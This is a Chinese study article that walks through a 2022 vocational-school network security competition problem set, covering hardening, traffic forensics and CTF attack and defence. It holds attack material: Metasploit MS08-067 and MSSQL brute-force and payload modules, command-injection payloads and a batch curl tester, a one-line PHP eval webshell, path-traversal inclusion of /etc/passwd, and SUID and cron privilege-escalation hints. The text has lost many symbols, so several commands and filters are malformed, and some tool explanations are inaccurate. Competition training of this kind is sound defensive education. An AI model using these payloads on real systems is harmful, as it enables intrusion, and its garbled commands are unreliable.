簡(jiǎn)介這份文檔是2022年全國(guó)職業(yè)院校技能大賽中職組網(wǎng)絡(luò)安全賽項(xiàng)的完整賽題第9套面向職業(yè)院校網(wǎng)絡(luò)安全競(jìng)賽選手、指導(dǎo)教師以及備賽訓(xùn)練的學(xué)習(xí)者用于模擬真實(shí)賽場(chǎng)環(huán)境、檢驗(yàn)安全加固與攻防實(shí)戰(zhàn)能力。賽題圍繞基礎(chǔ)設(shè)施設(shè)置與安全加固、網(wǎng)絡(luò)安全事件響應(yīng)與數(shù)字取證、應(yīng)用安全以及CTF奪旗攻擊與防御四大模塊展開(kāi)涵蓋密碼策略、用戶權(quán)限管理、SSH與VSFTPD中間件加固、IIS日志審計(jì)、iptables防火墻策略、Nmap與DirBuster滲透測(cè)試等具體任務(wù)并附有競(jìng)賽時(shí)間安排、分值權(quán)重與注意事項(xiàng)。資源包共1個(gè)docx文件約49KB內(nèi)容為完整賽題文本便于打印或?qū)φ站毩?xí)。目前已有849人學(xué)習(xí)下載適合需要系統(tǒng)梳理賽項(xiàng)考點(diǎn)、開(kāi)展賽前模擬與查漏補(bǔ)缺的中職及高職網(wǎng)絡(luò)安全參賽者。1. 從一份中職組賽題看網(wǎng)絡(luò)安全實(shí)戰(zhàn)這套題到底練什么很多人第一次翻到這份《2022 年全國(guó)職業(yè)院校技能大賽中職組網(wǎng)絡(luò)安全賽項(xiàng)賽題 9》時(shí)會(huì)以為它只是一份普通的試卷。但真正做過(guò)這套題的人知道它其實(shí)是一份被壓縮到 4 個(gè)小時(shí)里的完整攻防工作流從 Windows 本地安全策略、Linux 中間件加固到 Nmap 掃描、MSF 漏洞利用、Wireshark 流量取證再到 CTF 奪旗的攻擊與防御?？偡?100 分A 模塊基礎(chǔ)設(shè)施加固占 20%B 模塊事件響應(yīng)與數(shù)字取證占 40%C、D 兩個(gè) CTF 模塊各占 20%。換句話說(shuō)它考的不是單點(diǎn)知識(shí)而是發(fā)現(xiàn)—利用—加固—取證這條鏈路上每一環(huán)能不能落地。適合正在準(zhǔn)備 CTF 入門、滲透測(cè)試學(xué)習(xí)、或者想系統(tǒng)梳理安全加固清單的從業(yè)者也適合帶學(xué)生打比賽的指導(dǎo)老師拿來(lái)當(dāng)訓(xùn)練藍(lán)本。2. 基礎(chǔ)設(shè)施加固Windows 與 Linux 的 18 個(gè)必做動(dòng)作A 模塊是整份賽題里最穩(wěn)的部分——它不依賴漏洞運(yùn)氣全靠對(duì)系統(tǒng)安全策略的熟悉程度。20 分里塞了 18 個(gè)具體任務(wù)覆蓋 Windows 登錄安全、事件審核、IIS 加固、本地策略以及 Linux 的 SSHD、VSFTPD、iptables。這一章把能直接抄作業(yè)的命令和配置路徑拆開(kāi)講。2.1 Windows 密碼策略與用戶安全管理的落地點(diǎn)A-1 任務(wù)要求密碼符合復(fù)雜性、最短使用期限 10 天、禁用來(lái)賓賬戶、刪除后門用戶、限制關(guān)機(jī)權(quán)限。這些在圖形界面里點(diǎn)得到但比賽時(shí)用secpol.msc和net user更快。# 查看當(dāng)前所有本地用戶找可疑賬戶 net user # 禁用來(lái)賓賬戶 net user Guest /active:no # 刪除疑似后門用戶示例test$ 這類帶 $ 的隱藏賬戶 net user test$ /delete # 設(shè)置密碼最短使用期限為 10 天本地策略 # 路徑secpol.msc - 賬戶策略 - 密碼策略 - 密碼最短使用期限 - 10邏輯說(shuō)明net user不帶參數(shù)列出所有賬戶帶$結(jié)尾的賬戶在默認(rèn)視圖里不顯示是常見(jiàn)的后門藏法。/active:no是禁用而非刪除保留賬戶但切斷登錄。密碼最短使用期限在圖形界面改是因?yàn)閚et accounts命令雖然能設(shè)/minpwage:10但比賽答題卡通常要求截圖策略界面所以兩條路都要會(huì)。參數(shù)說(shuō)明/minpwage單位是天設(shè) 0 表示可立即改密碼設(shè) 10 就是 10 天內(nèi)不能改。復(fù)雜性要求對(duì)應(yīng)secpol.msc里密碼必須符合復(fù)雜性要求啟用不要和密碼長(zhǎng)度最小值混淆。關(guān)機(jī)權(quán)限的限制在本地策略 - 用戶權(quán)限分配里把關(guān)閉系統(tǒng)只留給 Administrators 組從遠(yuǎn)端系統(tǒng)強(qiáng)制關(guān)機(jī)同樣只指派給 Administrators。這一步容易被忽略因?yàn)槟J(rèn) Users 組也有部分關(guān)機(jī)權(quán)限。2.2 事件審核與 IIS 日志的開(kāi)啟方式A-2 要求開(kāi)啟審核策略登錄事件成功/失敗、特權(quán)使用成功、策略更改成功/失敗、進(jìn)程跟蹤成功/失敗。A-3 的 IIS 部分要求日志格式為 W3C只記錄日期、時(shí)間、客戶端 IP、用戶名、方法。# 用 auditpol 命令行開(kāi)啟審核策略比逐項(xiàng)點(diǎn)圖形界面快 auditpol /set /subcategory:登錄 /success:enable /failure:enable auditpol /set /subcategory:特權(quán)使用 /success:enable auditpol /set /subcategory:策略更改 /success:enable /failure:enable auditpol /set /subcategory:進(jìn)程跟蹤 /success:enable /failure:enable # 查看當(dāng)前審核配置 auditpol /get /category:*邏輯說(shuō)明auditpol是 Windows 自帶的審核策略命令行工具/subcategory后跟中文子類別名系統(tǒng)語(yǔ)言為中文時(shí)/success:enable和/failure:enable分別控制成功和失敗事件的記錄。比賽環(huán)境如果是英文系統(tǒng)子類別名要換成Logon、Privilege Use、Policy Change、Process Tracking。參數(shù)說(shuō)明/category:*列出所有類別方便確認(rèn)子類別名稱拼寫。IIS 日志在inetmgr里選站點(diǎn) - 日志 - 格式選 W3C - 選擇字段只勾日期、時(shí)間、客戶端 IP、用戶名、方法五項(xiàng)。WebDAV 關(guān)閉在添加角色和功能里取消勾選或在 IIS 管理器里移除 WebDAV 模塊。2.3 SSHD 與 VSFTPD 加固端口、計(jì)劃任務(wù)與 PID 路徑A-3 的 Linux 部分要求改 SSH 端口為 2222、禁止 root 遠(yuǎn)程登錄、設(shè)置 root 計(jì)劃任務(wù)每天 7:50 開(kāi) SSH、22:50 關(guān)、每周六 7:30 重啟、修改 PID 存放地。VSFTPD 要求非特權(quán)用戶 pyftp、端口范圍 50000-60000、本地用戶限制在 home 目錄。# 修改 SSH 配置 vim /etc/ssh/sshd_config # 改 Port 2222 # 改 PermitRootLogin no # 改 PidFile /var/run/sshd_custom.pid # 重啟 SSH 使配置生效 systemctl restart sshd # 設(shè)置 root 計(jì)劃任務(wù) crontab -e -u root # 加入以下三行 50 7 * * * /usr/sbin/sshd 50 22 * * * pkill sshd 30 7 * * 6 systemctl restart sshd邏輯說(shuō)明PermitRootLogin no禁止 root 直接遠(yuǎn)程登錄但計(jì)劃任務(wù)里用pkill sshd關(guān)閉服務(wù)后周六的重啟用systemctl restart而不是直接啟動(dòng)二進(jìn)制是因?yàn)?systemd 管理的服務(wù)用 systemctl 更規(guī)范。PID 文件路徑改了之后systemctl restart會(huì)按新路徑寫 PID但要注意 SELinux 可能攔截非標(biāo)準(zhǔn)路徑比賽環(huán)境通常已關(guān)閉。參數(shù)說(shuō)明crontab -e -u root編輯 root 的計(jì)劃任務(wù)50 7 * * *表示每天 7:5030 7 * * 6表示每周六 7:30。VSFTPD 配置在/etc/vsftpd/vsftpd.conf或/etc/vsftpd.confguest_usernamepyftp指定非特權(quán)用戶pasv_min_port50000和pasv_max_port60000限制被動(dòng)模式端口local_root/home或chroot_local_userYES限制本地用戶活動(dòng)范圍。2.4 iptables 三條策略防掃描、防暴力、防碎片A-5 要求對(duì) 3306 端口做流量處理防 Nmap 探測(cè)、僅允許 172.16.10.0/24 訪問(wèn) SSH、限制 IP 碎片每秒 1000 個(gè)。# 防 Nmap 對(duì) 3306 的掃描丟棄異常標(biāo)志位組合的包 iptables -A INPUT -p tcp --dport 3306 -m tcp --tcp-flags ALL ALL -j DROP iptables -A INPUT -p tcp --dport 3306 -m tcp --tcp-flags ALL NONE -j DROP # 僅允許 172.16.10.0/24 訪問(wèn) SSH iptables -A INPUT -p tcp --dport 22 -s 172.16.10.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j DROP # 限制 IP 碎片每秒 1000 個(gè) iptables -A INPUT -f -m limit --limit 1000/s -j ACCEPT iptables -A INPUT -f -j DROP邏輯說(shuō)明第一條用--tcp-flags ALL ALL匹配所有標(biāo)志位都置位的異常包Nmap 的 XMAS 掃描特征ALL NONE匹配無(wú)標(biāo)志位的 NULL 掃描。第二條先放行指定網(wǎng)段再丟棄其余順序不能反。第三條-f匹配分片包--limit 1000/s限制速率超出部分走后面的 DROP。參數(shù)說(shuō)明-A INPUT追加到輸入鏈-s指定源網(wǎng)段-j指定動(dòng)作。--limit的速率單位可以是/s、/m、/h。保存規(guī)則用iptables-save /etc/sysconfig/iptablesCentOS或netfilter-persistent saveDebian 系。3. 事件響應(yīng)與數(shù)字取證B 模塊的 10 個(gè)任務(wù)怎么拆B(yǎng) 模塊 40 分10 個(gè)子任務(wù)各 4 分是整份賽題里分值最重、也最考驗(yàn)工具熟練度的部分。它覆蓋主機(jī)發(fā)現(xiàn)、Web 滲透、流量取證、漏洞掃描、PE 逆向、數(shù)據(jù)庫(kù)滲透、Linux 應(yīng)急響應(yīng)。這一章按工具鏈拆解重點(diǎn)講每個(gè)任務(wù)在考什么、命令怎么敲、結(jié)果怎么讀。3.1 Nmap 腳本掃描與 VNC 服務(wù)探測(cè)B-1 要求用 Nmap 查看本地路由與接口、掃描 VNC 服務(wù)、發(fā)空 UDP 包攻擊 avahi、模糊測(cè)試、Zenmap 掃遠(yuǎn)程代碼執(zhí)行漏洞。# 查看本地路由與接口 nmap --iflist # VNC 服務(wù)掃描 nmap -p 5900 --script vnc-info target # 或 nmap --script vnc-brute target # 對(duì) avahi 發(fā)空 UDP 包 nmap -sU -p 5353 --script dns-service-discovery target # 模糊測(cè)試 nmap --script fuzzer target # 掃遠(yuǎn)程代碼執(zhí)行漏洞檢測(cè)路徑 /cgi-bin/bin nmap -p 80 --script http-shellshock --script-args uri/cgi-bin/bin target邏輯說(shuō)明--iflist列出接口和路由是 B-1 第 1 題的答案來(lái)源。VNC 掃描用vnc-info腳本讀版本號(hào)vnc-brute做口令爆破。avahi 是類 DNS 服務(wù)dns-service-discovery腳本發(fā)空 UDP 包觸發(fā)拒絕服務(wù)。模糊測(cè)試用fuzzer腳本發(fā)異常包。遠(yuǎn)程代碼執(zhí)行漏洞檢測(cè)用http-shellshock或類似腳本uri參數(shù)指定檢測(cè)路徑。參數(shù)說(shuō)明-p指定端口--script指定腳本名--script-args傳腳本參數(shù)。腳本名要記準(zhǔn)比賽答題卡要求提交的就是腳本名稱字符串如vnc-info.nse。Zenmap 是 Nmap 的圖形前端腳本調(diào)用方式和命令行一致。3.2 Wireshark 流量取證從 attack.pcapng 里挖 FlagB-3 要求分析 attack.pcapng找出惡意 IP、掃描端口、用戶名、密碼、一句話木馬密碼、下載文件名、文件內(nèi)容。這是典型的數(shù)字取證流量分析題。# 用 tshark 命令行快速過(guò)濾Wireshark 的 CLI 版 # 找惡意 IP按對(duì)話統(tǒng)計(jì) tshark -r attack.pcapng -q -z conv,ip # 找掃描端口過(guò)濾 SYN 包 tshark -r attack.pcapng -Y tcp.flags.syn1 tcp.flags.ack0 -T fields -e tcp.dstport | sort -n | uniq # 找登錄用戶名密碼過(guò)濾 HTTP POST tshark -r attack.pcapng -Y http.request.methodPOST -T fields -e http.file_data # 找一句話木馬密碼過(guò)濾 POST 內(nèi)容中的 pass 參數(shù) tshark -r attack.pcapng -Y http contains \pass\ -T fields -e http.file_data邏輯說(shuō)明conv,ip統(tǒng)計(jì) IP 對(duì)話流量最大的可疑 IP 就是惡意用戶。SYN 包過(guò)濾找出掃描端口sort -n | uniq去重排序。HTTP POST 的file_data字段包含表單內(nèi)容能直接看到用戶名密碼。一句話木馬的密碼通常在 POST 的pass參數(shù)里下載文件名在 HTTP 響應(yīng)或 FTP 傳輸里找。參數(shù)說(shuō)明-r讀文件-Y顯示過(guò)濾器Wireshark 語(yǔ)法-T fields -e指定輸出字段。tcp.flags.syn1 tcp.flags.ack0是 SYN 掃描特征。如果 pcapng 里有 FTP 傳輸用ftp-data過(guò)濾找下載文件。3.3 MSF 漏洞掃描與 MS08067 利用B-4 要求 Nmap 輸出 XML、初始化 MSF 數(shù)據(jù)庫(kù)、導(dǎo)入掃描結(jié)果、搜索 MS08067、檢測(cè)漏洞。# Nmap 輸出 XML nmap -sV -oX result.xml target # 初始化 MSF 數(shù)據(jù)庫(kù) msfdb init # 啟動(dòng) MSF 并導(dǎo)入 msfconsole db_import /path/to/result.xml hosts services # 搜索 MS08067 search ms08067 # 調(diào)用模塊檢測(cè) use exploit/windows/smb/ms08_067_netapi set RHOSTS target check邏輯說(shuō)明-oX輸出 XML 格式msfdb init初始化 PostgreSQL 數(shù)據(jù)庫(kù)db_import導(dǎo)入后hosts和services查看。search ms08067回顯里有公開(kāi)時(shí)間。check命令檢測(cè)目標(biāo)是否存在漏洞回顯最后一個(gè)單詞通常是vulnerable或safe。參數(shù)說(shuō)明-sV版本掃描-oX指定輸出文件。MSF 里set RHOSTS設(shè)目標(biāo)check只檢測(cè)不利用。MS08067 的模塊路徑是exploit/windows/smb/ms08_067_netapi公開(kāi)時(shí)間在 search 結(jié)果里能看到。3.4 PE 逆向與數(shù)據(jù)庫(kù)滲透的關(guān)鍵命令B-5 要求靜態(tài)調(diào)試 PE01.exe找 main 入口、許可證檢查函數(shù)、Flag、注冊(cè)成功回顯、許可證碼。B-7 要求 Zenmap 掃 1433/3306/80、MSF 爆破數(shù)據(jù)庫(kù)、擴(kuò)展存儲(chǔ)過(guò)程利用。# PE 靜態(tài)調(diào)試用 IDA Pro 或 Ghidra # main 入口IDA 里看 Entry Point 或搜索 main # 許可證檢查函數(shù)搜索 license 或 check 字符串交叉引用 # Flag在字符串窗口搜索 flag{ 或 CTF{ # 數(shù)據(jù)庫(kù)滲透MSF 爆破 MSSQL use auxiliary/scanner/mssql/mssql_login set RHOSTS target set USER_FILE /root/users.txt set PASS_FILE /root/2.txt set THREADS 10 run # 擴(kuò)展存儲(chǔ)過(guò)程利用 use exploit/windows/mssql/mssql_payload set RHOSTS target set PASSWORD cracked_password set CMD whoami run邏輯說(shuō)明PE 逆向用 IDA 打開(kāi)后Entry Point 附近就是 main字符串窗口搜license找檢查函數(shù)搜flag{找 Flag。數(shù)據(jù)庫(kù)爆破用mssql_login模塊USER_FILE和PASS_FILE指定字典THREADS設(shè)線程。擴(kuò)展存儲(chǔ)過(guò)程利用用mssql_payloadCMD參數(shù)執(zhí)行系統(tǒng)命令。參數(shù)說(shuō)明set賦值run執(zhí)行。show options查看需要配置的字段通常包括RHOSTS、USER_FILE、PASS_FILE、THREADS、USERNAME、PASSWORD。B-7 第 4 題要求提交這些字段名用逗號(hào)分隔。4. CTF 奪旗攻防C 模塊與 D 模塊的邊界在哪C 模塊攻擊 20 分D 模塊防御 20 分兩者共用同一套漏洞描述命令注入、文件上傳、文件包含、遠(yuǎn)程代碼執(zhí)行、緩沖區(qū)溢出、系統(tǒng)后門。區(qū)別在于 C 模塊是打別人的靶機(jī)搶 FlagD 模塊是加固自己的堡壘機(jī)并出報(bào)告。這一章講攻擊路徑和防御加固的對(duì)應(yīng)關(guān)系。4.1 命令注入與文件上傳的利用鏈C 模塊的漏洞說(shuō)明里命令注入和文件上傳是最常見(jiàn)的入口。命令注入通常出現(xiàn)在 ping、nslookup 這類調(diào)用系統(tǒng)命令的功能點(diǎn)。# 命令注入測(cè)試 127.0.0.1; whoami 127.0.0.1 | whoami 127.0.0.1 whoami # 文件上傳先傳普通圖片再改后綴或 Content-Type # 用 Burp Suite 抓包改 filenameshell.php # 或改 Content-Type: image/jpeg 繞過(guò)前端校驗(yàn)邏輯說(shuō)明分號(hào)、管道、與符號(hào)是命令注入的三種拼接方式取決于后端用的是exec、system還是shell_exec。文件上傳的繞過(guò)分前端校驗(yàn)改 Content-Type、后端黑名單改后綴為.phtml、.php5、內(nèi)容檢測(cè)加圖片頭GIF89a。參數(shù)說(shuō)明命令注入的 payload 要 URL 編碼后發(fā)送。文件上傳的 webshell 內(nèi)容用一句話?php eval($_POST[pass]);?連接密碼就是pass。4.2 文件包含與提權(quán)的結(jié)合文件包含漏洞通常配合文件上傳使用先傳圖片馬再通過(guò)包含漏洞執(zhí)行。# 文件包含讀取敏感文件 http://target/index.php?page../../../../etc/passwd # 包含上傳的圖片馬 http://target/index.php?pageupload/shell.jpg # 提權(quán)找 SUID 文件 find / -perm -4000 -type f 2/dev/null # 找可寫 cron ls -la /etc/cron*邏輯說(shuō)明../穿越路徑讀系統(tǒng)文件包含圖片馬時(shí)后端會(huì)把圖片當(dāng) PHP 執(zhí)行。提權(quán)先找 SUID 文件常見(jiàn)的有nmap、find、vim再用 GTFOBins 對(duì)應(yīng)方法提權(quán)。cron 可寫就直接寫反彈 shell。參數(shù)說(shuō)明-perm -4000匹配 SUID 位2/dev/null屏蔽權(quán)限錯(cuò)誤。文件包含的路徑深度取決于當(dāng)前腳本位置一般../../../../夠用。4.3 D 模塊防御加固的實(shí)施報(bào)告怎么寫D 模塊要求掃描自己的堡壘機(jī)、發(fā)現(xiàn)漏洞、加固、出 PDF 報(bào)告。報(bào)告結(jié)構(gòu)通常是發(fā)現(xiàn)的問(wèn)題、加固措施、驗(yàn)證結(jié)果。漏洞類型加固措施驗(yàn)證方式命令注入過(guò)濾特殊字符、用白名單重放 payload 確認(rèn)被攔截文件上傳白名單后綴、重命名、存非 Web 目錄嘗試上傳 php 確認(rèn)失敗文件包含關(guān)閉 allow_url_include、限制路徑嘗試包含遠(yuǎn)程文件確認(rèn)失敗遠(yuǎn)程代碼執(zhí)行打補(bǔ)丁、關(guān)服務(wù)、防火墻限制重新掃描確認(rèn)漏洞消失緩沖區(qū)溢出打補(bǔ)丁、DEP/ASLR 開(kāi)啟重放溢出 payload 確認(rèn)崩潰消失系統(tǒng)后門刪賬戶、刪計(jì)劃任務(wù)、清啟動(dòng)項(xiàng)重啟后確認(rèn)后門不復(fù)活邏輯說(shuō)明加固報(bào)告要配截圖每步操作前中后各一張。驗(yàn)證環(huán)節(jié)不能省因?yàn)樵u(píng)分看的是加固成效而不是加固動(dòng)作。后門清理要查crontab、systemd服務(wù)、rc.local、/etc/passwd新增賬戶。參數(shù)說(shuō)明allow_url_include在 php.ini 里設(shè) Offopen_basedir限制腳本訪問(wèn)目錄。防火墻用iptables或firewalld限制服務(wù)端口來(lái)源。5. 從賽題到實(shí)戰(zhàn)三個(gè)能帶走的排查習(xí)慣這份賽題最大的價(jià)值不在題目本身而在于它逼你把掃描—利用—取證—加固串成一條線。我做完這套題后有三個(gè)習(xí)慣一直保留到現(xiàn)在。第一個(gè)是先看流量再動(dòng)手。B-3 的 attack.pcapng 分析教會(huì)我任何應(yīng)急響應(yīng)第一步都是抓包和看日志而不是直接上工具掃。tshark -r xxx.pcapng -q -z conv,ip這條命令我現(xiàn)在每次排查異常流量都會(huì)先跑一遍對(duì)話統(tǒng)計(jì)能最快定位可疑 IP。第二個(gè)是加固必留驗(yàn)證截圖。D 模塊的報(bào)告要求發(fā)現(xiàn)—加固—驗(yàn)證三步缺一不可。我現(xiàn)在做任何安全配置變更都會(huì)在變更前跑一次掃描、變更后再跑一次兩次結(jié)果對(duì)比存檔。nmap -sV -oX before.xml和nmap -sV -oX after.xmldiff 一下就知道加固有沒(méi)有生效。第三個(gè)是命令注入的測(cè)試 payload 要備三套。分號(hào)、管道、與符號(hào)各一套因?yàn)椴煌蠖撕瘮?shù)的拼接方式不同。我一般會(huì)寫一個(gè)小腳本批量測(cè)#!/bin/bash # 命令注入批量測(cè)試 TARGEThttp://target/ping.php for payload in ;whoami |whoami whoami %3Bwhoami %7Cwhoami; do echo Testing: $payload curl -s $TARGET?ip127.0.0.1$payload | grep -E root|www-data|admin done邏輯說(shuō)明curl -s靜默請(qǐng)求grep過(guò)濾命令執(zhí)行結(jié)果特征。%3B和%7C是分號(hào)和管道的 URL 編碼有些后端會(huì)解碼后再拼接。這個(gè)腳本能快速判斷哪個(gè) payload 生效。參數(shù)說(shuō)明TARGET換成實(shí)際測(cè)試地址ip127.0.0.1是假設(shè)的參數(shù)名實(shí)際要按目標(biāo)調(diào)整。grep -E用擴(kuò)展正則匹配多個(gè)關(guān)鍵詞。從那以后我每次做滲透測(cè)試或應(yīng)急響應(yīng)都強(qiáng)制走一遍抓包—定位—驗(yàn)證—加固—復(fù)測(cè)這五步不再跳步。這套賽題里的 18 個(gè)加固任務(wù)、10 個(gè)取證任務(wù)、6 類漏洞利用本質(zhì)上就是這五步的反復(fù)演練。希望幫到你。本文還有配套的精品資源點(diǎn)擊獲取